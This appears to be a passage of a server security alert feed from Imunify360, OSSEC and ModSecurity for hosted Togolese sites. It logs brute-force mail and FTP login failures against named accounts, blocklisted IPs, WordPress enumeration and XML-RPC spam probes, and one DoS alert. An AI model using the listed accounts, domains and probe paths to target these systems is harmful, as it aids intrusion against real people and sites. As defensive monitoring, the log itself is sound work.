47.128.96.206 - - [05/Jun/2026:13:17:34 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10001050&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fong-adra%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780665452 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/ong-adra/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.206


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.208.104.116
country_id: 3175395
description:
Jun  5 13:17:39 ns5 auth[1439368]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.208.104.116 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 125.141.193.42
country_id: 1835841
description:
Jun  5 13:17:07 ns5 auth[1439368]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 125.141.193.42 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.129.63.234
country_id: 953987
description:
Jun  5 13:17:11 ns5 auth[1439368]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.129.63.234 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.207.9.234
country_id: 2287781
description:
2026-06-05 13:17:13 dovecot_login authenticator failed for H=(ELISABETH) [102.207.9.234]:2816: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.207.9.234
country_id: 2287781
description:
2026-06-05 13:18:09 dovecot_login authenticator failed for H=(ELISABETH) [102.207.9.234]:4992: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.208.104.116
country_id: 3175395
description:
Jun  5 13:17:46 ns5 auth[1439368]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.208.104.116 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.84.58.115
country_id: 3469034
description:
Jun  5 13:20:25 ns5 auth[1439368]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.84.58.115 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.207.9.234
country_id: 2287781
description:
2026-06-05 13:20:47 dovecot_login authenticator failed for H=(ELISABETH) [102.207.9.234]:18946: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.238.166.159
country_id: 798544
description:
Jun  5 13:20:58 ns5 auth[1439368]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.238.166.159 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.120.72.148
country_id: 3469034
description:
Jun  5 13:20:58 ns5 auth[1439368]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.120.72.148 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.207.9.234
country_id: 2287781
description:
2026-06-05 13:22:47 dovecot_login authenticator failed for H=(ELISABETH) [102.207.9.234]:13568: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 180.165.30.150
country_id: 1814991
description:
Jun  5 13:23:42 ns5 pure-ftpd[1675882]: (?@180.165.30.150) [INFO] New connection from 180.165.30.150


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 180.165.30.150
country_id: 1814991
description:
Jun  5 13:23:48 ns5 pure-ftpd[1675882]: (?@180.165.30.150) [WARNING] Authentication failed for user [derou]


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 196.170.27.77
country_id: 2363686
domain: www.letabloid.tg
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.14||T:APACHE||MV:/wp-json/wp/v2/users/me?context=edit&_locale=user||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.207.9.234
country_id: 2287781
description:
2026-06-05 13:23:48 dovecot_login authenticator failed for H=(ELISABETH) [102.207.9.234]:18816: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.207.9.234
country_id: 2287781
description:
2026-06-05 13:24:58 dovecot_login authenticator failed for H=(ELISABETH) [102.207.9.234]:18560: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.207.9.234
country_id: 2287781
description:
2026-06-05 13:25:59 dovecot_login authenticator failed for H=(ELISABETH) [102.207.9.234]:20096: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 167.250.102.115
country_id: 3469034
description:
Jun  5 13:27:13 ns5 auth[1675956]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 167.250.102.115 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.224.168.143
country_id: 3469034
description:
Jun  5 13:27:27 ns5 auth[1675956]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.224.168.143 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.181.108.125
country_id: 3865483
description:
Jun  5 13:27:27 ns5 auth[1675956]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.181.108.125 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.207.9.234
country_id: 2287781
description:
2026-06-05 13:27:00 dovecot_login authenticator failed for H=(ELISABETH) [102.207.9.234]:27648: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.207.9.234
country_id: 2287781
description:
2026-06-05 13:28:01 dovecot_login authenticator failed for H=(ELISABETH) [102.207.9.234]:20864: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: modsec
rule: 77391379
name: IM360 WAF: Possible XSS in arguments
abuser: 102.64.170.174
country_id: 2363686
domain: direct7.tg
description:
IM360 WAF: Possible XSS in arguments||MV:https://direct7.tg/wp-content/plugins/onesignal-free-web-push-notifications/sdk_files/onesignalsdkworker.js?appid=8efd3276-8d5b-4b62-bbd3-6ed125ca9f51&sdkversion=160510||RSV:8.14||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.85.145.206
country_id: 3469034
description:
Jun  5 13:27:49 ns5 auth[1675956]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.85.145.206 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.144
country_id: 1880251
description:
47.128.96.144 - - [05/Jun/2026:13:28:55 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7051930&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fflamingo-club%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780666133 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/flamingo-club/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.144


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.207.9.234
country_id: 2287781
description:
2026-06-05 13:29:05 dovecot_login authenticator failed for H=(ELISABETH) [102.207.9.234]:17152: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.177.95.139
country_id: 1562822
domain: fbafrica.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/fbafrica.com/2015/07/01/pr-in-cameroon-is-digital-by-necessity-cynthia-tabe/ HTTP/1.1||RSV:8.14||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 125.141.193.42
country_id: 1835841
description:
Jun  5 13:30:22 ns5 auth[1675956]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 125.141.193.42 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.207.9.234
country_id: 2287781
description:
2026-06-05 13:31:19 dovecot_login authenticator failed for H=(ELISABETH) [102.207.9.234]:21760: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: cl_dos
name: DOS detection
abuser: 137.184.95.230
country_id: 6252001
description:
2026-06-05 13:31:55.023146332 +0000 GMT m=+31029.864560034 Denial of Service attack was discovered from 137.184.95.230, on port 52223. Open connections: 273


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 125.141.193.42
country_id: 1835841
description:
Jun  5 13:32:01 ns5 auth[1675956]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 125.141.193.42 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.207.9.234
country_id: 2287781
description:
2026-06-05 13:32:14 dovecot_login authenticator failed for H=(ELISABETH) [102.207.9.234]:25088: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.207.9.234
country_id: 2287781
description:
2026-06-05 13:33:15 dovecot_login authenticator failed for H=(ELISABETH) [102.207.9.234]:12032: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.190
country_id: 1880251
description:
47.128.96.190 - - [05/Jun/2026:13:33:52 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9724565&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fjeune-femme-leader%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780666431 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/jeune-femme-leader/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.190


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.207.9.234
country_id: 2287781
description:
2026-06-05 13:34:25 dovecot_login authenticator failed for H=(ELISABETH) [102.207.9.234]:20096: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: modsec
rule: 77433250
name: IM360 WAF: Track WordPress user self-registration
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Track WordPress user self-registration||NewUser:Enjoy Your Champion Reward bonotdamvam.blogspot.mx jq||Email:mylene0405.ma@gmail.com||RSV:8.14||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77142125r77142137||MV:13-36.146.19.125.71||RSV:8.14||T:APACHE||


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 100.54.216.113
country_id: 6252001
domain: www.arse.tg
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/145.0.7632.0 Safari/537.36||RSV:8.14||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 196.170.62.18
country_id: 2363686
description:
196.170.62.18 - - [05/Jun/2026:13:41:15 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10002025&pdata=https%253A%252F%252Fwww.letabloid.tg%252F2026%252F06%252F05%252Fun-ex-agent-dune-societe-a-lome-revele-les-secrets-de-la-fabrication-du-cube-et-alerte-sur-les-dangers-de-sa-consommation%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780666873 HTTP/2.0" 302 0 www.letabloid.tg "https://www.letabloid.tg/2026/06/05/un-ex-agent-dune-societe-a-lome-revele-les-secrets-de-la-fabrication-du-cube-et-alerte-sur-les-dangers-de-sa-consommation/" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:196.170.62.18


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.123.170.104
country_id: 6252001
description:
34.123.170.104 - - [05/Jun/2026:13:43:38 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13265817&pdata=http%253A%252F%252Fcpcontacts.api.free.netmaster.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780667017 HTTP/1.1" 302 0 cpcontacts.api.free.netmaster.tg "http://cpcontacts.api.free.netmaster.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.123.170.104


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 104.197.69.115
country_id: 6252001
description:
104.197.69.115 - - [05/Jun/2026:13:43:32 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6909849&pdata=http%253A%252F%252Fcpcontacts.api.free.netmaster.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780667010 HTTP/1.1" 302 0 cpcontacts.api.free.netmaster.tg "http://cpcontacts.api.free.netmaster.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:104.197.69.115


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.122.147.229
country_id: 6252001
description:
34.122.147.229 - - [05/Jun/2026:13:43:32 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13330327&pdata=http%253A%252F%252Fapi.free.netmaster.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780667011 HTTP/1.1" 302 0 api.free.netmaster.tg "http://api.free.netmaster.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.122.147.229


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.11
country_id: 6252001
description:
205.169.39.11 - - [05/Jun/2026:13:43:34 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9816422&pdata=http%253A%252F%252Fcpcontacts.api.free.netmaster.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780667010 HTTP/1.1" 302 0 cpcontacts.api.free.netmaster.tg "http://cpcontacts.api.free.netmaster.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.11


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.72.176.129
country_id: 6252001
description:
34.72.176.129 - - [05/Jun/2026:13:43:34 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10132327&pdata=https%253A%252F%252Fmail.api.free.netmaster.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780667012 HTTP/2.0" 302 0 mail.api.free.netmaster.tg "https://mail.api.free.netmaster.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.72.176.129


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.72.176.129
country_id: 6252001
description:
34.72.176.129 - - [05/Jun/2026:13:44:35 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6985363&pdata=https%253A%252F%252Fcpcontacts.api.free.netmaster.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780667067 HTTP/2.0" 302 0 cpcontacts.api.free.netmaster.tg "https://cpcontacts.api.free.netmaster.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.72.176.129


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.122.147.229
country_id: 6252001
description:
34.122.147.229 - - [05/Jun/2026:13:43:50 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9934488&pdata=https%253A%252F%252Fcpcontacts.api.free.netmaster.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780667027 HTTP/2.0" 302 0 cpcontacts.api.free.netmaster.tg "https://cpcontacts.api.free.netmaster.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.122.147.229


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 106.222.214.87
country_id: 1269750
description:
2026-06-05 13:44:06 H=([0.0.0.0]) [106.222.214.87]:3809 F=<John@4452.com> rejected RCPT <realestate@confortis.tg>: Sender verify failed


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.123.170.104
country_id: 6252001
description:
34.123.170.104 - - [05/Jun/2026:13:44:21 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7116438&pdata=http%253A%252F%252Fcpcontacts.api.free.netmaster.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780667059 HTTP/1.1" 302 0 cpcontacts.api.free.netmaster.tg "http://cpcontacts.api.free.netmaster.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.123.170.104


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.67.155.178
country_id: 298795
description:
Jun  5 13:45:23 ns5 auth[1675956]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.67.155.178 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.122.147.229
country_id: 6252001
description:
34.122.147.229 - - [05/Jun/2026:13:48:34 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7172041&pdata=http%253A%252F%252Fapi.free.netmaster.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780667311 HTTP/1.1" 302 0 api.free.netmaster.tg "http://api.free.netmaster.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.122.147.229


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.130.171.193
country_id: 3469034
description:
Jun  5 13:48:37 ns5 auth[1675956]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.130.171.193 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 14.191.233.94
country_id: 1562822
description:
14.191.233.94 - - [05/Jun/2026:13:48:11 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9999558&pdata=https%253A%252F%252Fcfpj.tg%252Feedo-60889letidm76xel.htm&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780667289 HTTP/1.1" 302 0 cfpj.tg "https://cfpj.tg/eedo-60889letidm76xel.htm" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:14.191.233.94


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 176.103.22.73
country_id: 690791
description:
Jun  5 13:48:12 ns5 auth[1675956]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 176.103.22.73 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.72.176.129
country_id: 6252001
description:
34.72.176.129 - - [05/Jun/2026:13:48:32 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7233939&pdata=http%253A%252F%252Fmail.api.free.netmaster.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780667311 HTTP/1.1" 302 0 mail.api.free.netmaster.tg "http://mail.api.free.netmaster.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.72.176.129


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.130.171.193
country_id: 3469034
description:
Jun  5 13:48:45 ns5 auth[1675956]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.130.171.193 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.59.134.15
country_id: 1269750
description:
Jun  5 13:50:32 ns5 auth[1675956]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.59.134.15 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.59.134.15
country_id: 1269750
description:
Jun  5 13:50:46 ns5 auth[1675956]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.59.134.15 has been locked due to Imunify RBL


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 175.44.42.177
country_id: 1814991
domain: hotel-yabisso.com
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/97.0.4691.0 Safari/537.36||RSV:8.14||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 139.59.138.122
country_id: 2921044
description:
2026-06-05 13:51:56 dovecot_login authenticator failed for H=(account.dgdn-togo.tg) [139.59.138.122]:45112: 535 Incorrect authentication data (set_id=contact@dgdn-togo.tg)


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 136.117.57.77
country_id: 6252001
domain: sp-eau.tg
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.14||T:APACHE||MV:/wp-json/wp/v2/users/||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.178
country_id: 1880251
description:
47.128.96.178 - - [05/Jun/2026:13:54:14 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=12885868&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fpia-recrute-1000-jeunes%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780667653 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/pia-recrute-1000-jeunes/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.178


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 105.74.64.235
country_id: 2542007
domain: direct7.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:direct7tv.direct7.tg||ServerName:direct7.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:0999748a6d0a8862d058ad09369629d7c6055e7b||Title:s4a6ykrllj21bkq||RSV:8.14||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.240.96.135
country_id: 3469034
description:
Jun  5 13:56:38 ns5 auth[1675956]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.240.96.135 has been locked due to Imunify RBL


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 105.74.64.235
country_id: 2542007
domain: direct7.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:direct7tv.direct7.tg||ServerName:direct7.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:4755ba9038c9c6332c8e4ae513ab454851e35e21||Title:ma79q1a5hnn40p54eu||RSV:8.14||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.240.96.135
country_id: 3469034
description:
Jun  5 13:56:46 ns5 auth[1675956]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.240.96.135 has been locked due to Imunify RBL


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 105.74.64.235
country_id: 2542007
domain: direct7.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:direct7tv.direct7.tg||ServerName:direct7.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:b0a6dddb96cad3b034b5efc6cfeb256ff329ddd4||Title:bclxqamyw2ie8gna7||RSV:8.14||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 89.186.8.52
country_id: 798544
description:
Jun  5 13:57:59 ns5 auth[1675956]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 89.186.8.52 has been locked due to Imunify RBL


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 105.74.64.235
country_id: 2542007
domain: direct7.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:direct7tv.direct7.tg||ServerName:direct7.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:90c941581ff3a16392fb949e08bdad229011f0b4||Title:e7fea4h9lpezd9||RSV:8.14||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 72.153.153.47
country_id: 6252001
description:
72.153.153.47 - - [05/Jun/2026:13:58:38 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7312587&pdata=https%253A%252F%252Fkoko.kpmg.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780667916 HTTP/2.0" 302 0 koko.kpmg.tg "https://koko.kpmg.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:72.153.153.47


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 176.103.2.232
country_id: 690791
description:
Jun  5 13:58:40 ns5 auth[1675956]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 176.103.2.232 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.236.15.154
country_id: 3469034
description:
Jun  5 13:57:58 ns5 auth[1675956]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.236.15.154 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 176.103.2.232
country_id: 690791
description:
Jun  5 13:58:47 ns5 auth[1675956]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 176.103.2.232 has been locked due to Imunify RBL


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 105.74.64.235
country_id: 2542007
domain: direct7.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:direct7tv.direct7.tg||ServerName:direct7.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:a1c7a54fceea888061971a370a5ddba7d6bfa69a||Title:c1n3skqd9re7jci4||RSV:8.14||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.8.248.202
country_id: 3469034
description:
Jun  5 13:59:32 ns5 auth[1675956]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.8.248.202 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.17.124.255
country_id: 690791
description:
Jun  5 13:58:58 ns5 auth[1675956]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.17.124.255 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
